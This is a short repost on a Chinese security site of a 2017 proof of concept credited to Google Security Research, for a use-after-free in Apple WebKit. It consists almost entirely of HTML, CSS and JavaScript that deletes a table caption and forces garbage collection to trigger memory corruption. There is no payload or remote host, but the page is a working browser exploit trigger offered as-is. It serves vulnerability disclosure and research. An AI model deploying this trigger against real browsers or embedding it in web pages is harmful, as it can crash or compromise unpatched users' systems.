Apple WebKit - 'table' Use-After-Free

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

Apple WebKit - 'table' Use-After-Free

来源：Google Security Research 作者：Google 发布时间：2017-04-05

<style>
* { -webkit-border-image: url(#foo) 1 5 1 63 repeat; -webkit-flow-into: foo }
</style>
<script>
function eventhandler() {
var a;
document.execCommand("selectAll", false);
output.slot = "foo";
table.deleteCaption();
//trigger garbage collector
for(var i=0;i<100;i++) {
    a = new Uint8Array(1024*1024);
}
}
</script>
<table id="table">
<caption>
<summary>
<output id="output">
<table>
<th>foo</th>
</table>
</table>
<iframe onload="eventhandler()"></iframe>

[